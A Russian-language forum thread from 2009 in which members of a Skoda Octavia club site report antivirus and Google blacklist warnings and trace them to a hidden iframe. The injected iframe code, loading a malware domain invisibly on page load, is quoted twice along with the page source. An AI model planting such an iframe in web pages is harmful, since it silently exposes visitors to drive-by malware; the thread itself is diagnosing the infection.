Тема: Вирус на сайте!

Модераторы, мой AVAST ругается, пишет какой-то вирус на сайте и предлагает разорвать соединение. Проверьте пож. Спс.

Все проверно, вирусов нет.

Уважаемые модераторы и администраторы!!!

Вирус есть!

т.к. мой AVAST тоже ругается (при запросе на www.octavia-club.ru):

Имя файла: http://www.octavia-club.ru/
Имя вируса: HTML:Iframe-inf
Тип вируса: Вирус/Червь
Версия VPS: 090722-0, 22.07.2009

Кроме того, если открыть через браузер Mozilla FF: выдается предупреждение:

Безопасный просмотр
Страница диагностики для octavia-club.ru

Занесен ли сайт octavia-club.ru в список подозрительных веб-сайтов?

Сайт занесен в список подозрительных веб-сайтов – посещение этого сайта может нанести вред вашему компьютеру.

В некоторой части этого сайта несколько раз (5) за последние 90 дней была замечена подозрительная активность.

Что произошло во время последнего просмотра этого сайта компанией Google?

Из протестированных нами за последние 90 дней страниц данного сайта (2) в загрузке и установке вредоносного программного обеспечения без разрешения пользователя было замечено 2. Последний раз сайт просматривался Google 2009-07-21, а подозрительное содержание было обнаружено 2009-07-21.

Количество доменов, на которых размещается вредоносное ПО, равняется 2, включая hugebestbuy.cn/, yourfilmlife.cn/.

This site was hosted on 1 network(s) including AS25532 (MASTERHOST).

Был ли данный сайт промежуточным звеном в дальнейшем распространении вредоносного ПО?

По всей видимости, за последние 90 дней сайт octavia-club.ru не был промежуточным звеном в заражении других сайтов.

Размещается ли на этом сайте вредоносное программное обеспечение?

Нет. За последние 90 дней на этом сайте не размещалось вредоносное программное обеспечение.

Как это произошло?

В некоторых случаях третьи лица могут добавить вредоносный код на вполне законные сайты. Предупреждающее сообщение может быть показано нами именно по этой причине.

т.е. Сайт числится в черном списке поисковой системы!!

Огромная просьба разобраться с этим и устранить!

Просто этот антивир скорее всего контачит с поисковой системой гугл, вот поэтому и ругается, мозила FF ругается тоже именно по тойже причине.

совсем не так....

Антивир(АВАСТ) ругается у меня дома...

а ФФ ругается на работе (дома нету ФФ)!! и антивир на работе другой, совершенно!

Сообщение от vall

совсем не так....

Антивир(АВАСТ) ругается у меня дома...

а ФФ ругается на работе (дома нету ФФ)!! и антивир на работе другой, совершенно!

Ну все правильно. Кстати фф уже не ругается покрайней мере у меня, только что проверял. А на гугле все еще висит предупреждение.

ФФ у меня ругается

А кто может пояснить что это такое

Найден потенциально опасный код, обратитесь за помощью к администратору
octavia-club.ru
<iframe src="http://hugebestbuy.cn:8080/index.php" width=118 height=135 style="visibility: hidden"></iframe>

особенно интересует ресурс:
http://hugebestbuy.cn/ который пытаются скрыть iframe - мом!!!

При обращении на :
http://hugebestbuy.cn/

Тревога антивирусной системы ESET NOD32 Antivirus

Описание:
ESET NOD32 Antivirus заблокировал доступ к веб-странице.
Страница находится в списке веб-сайтов с потенциально опасным
содержимым.

McAfee®, Inc. Site Advisor вот что пишет:
(Можете сами глянуть http://www.siteadvisor.com/sites/hugebestbuy.cn)

hugebestbuy.cn
Grey Verdict Image

Мы проверили несколько миллионов веб-сайтов, но пока не проверили этот. Ваш отзыв о данном веб-сайте будет первым!

Вы являетесь владельцем этого веб-сайта? Оставьте ваш комментарий
Контактная информация: Посещаемость





Несколько пользователей
Результаты автоматического тестирования на веб-безопасность для hugebestbuy.cn

Данный веб-сайт находится в очереди на тестирование. Результаты автоматического тестирования будут выложены вскоре.


Комментарии обозревателей и владельцев веб-сайтов
Сводный обзор пользовательских комментариев для hugebestbuy.cn

Данный веб-сайт безопасен (0)

Данный веб-сайт рассылает нежелательную почту (0)

Программы для показа рекламы, шпионские программы или вирусы (1)


Многочисленные всплывающие окна (0)

Фишинг или другие виды мошенничества (1)

Отрицательный опыт при покупке товаров в электронных магазинах (0)

Использование уязвимых мест веб-обозревателя (0)
hugebestbuy.cn Комментарии владельцев веб-сайтов (0)

Вы являетесь владельцем этого веб-сайта? Добавьте свой комментарий
Обзоры пользователей(2)

страница 1 из 1

Подробнее о нашей обозревательской системе.

Рейтинг: Фишинг или другие виды мошенничества

This is a malware site, listed at http://www.malwareurl.com/ between June 8 and June 19 2009.
Sites listed either contain malware, ot redirect to sites containing malware, or redirect to fraud sites like Canadian Pharmacy.

Be very careful when visiting sites like this, they are owned by ruthless criminals.

Размещено 19.06.2009-19:50:26; кем: pharmalert, Experienced Reviewer , Посмотреть профиль [ Репутационный показатель: 9 / 9 ]

Рейтинг: Программы для показа рекламы, шпионские программы или вирусы

Exploits see http://www.malwareurl.com/search.php...verse=on&as=on

Размещено 18.06.2009-15:21:10; кем: sharons, Reviewer , Посмотреть профиль [ Репутационный показатель: 9 / 9 ]

Итак:
octavia-club.ru исходный код страницы:

<html>
<head>
<title> Шкода Октавия Клуб </title>
</head>
<style type=text/css>
body {background-position: center top; background-repeat: no-repeat}
</style>
<body text=yellow link=yellow vlink=cyan alink=red background="scoda1.gif"><iframe src="http://hugebestbuy.cn:8080/index.php" width=118 height=135 style="visibility: hidden"></iframe>
<div align="left">
<div id="center">
<table>
<p style font-style: italic>
<tr><th align=left height=40> </th></tr>

<tr><th align=left height=40> <a href="Istor.html"> История марки </a> </th></tr>
...
...
...

Проблемы обращения всех пользователей по поводу вируса кроятся как раз в этом и фрейме:

<iframe src="http://hugebestbuy.cn:8080/index.php" width=118 height=135 style="visibility: hidden"></iframe>

Его необходимо убрать!!!

А у меня все нормально... Но если на сайте действительно присутствует такой фрейм - его надо удрать.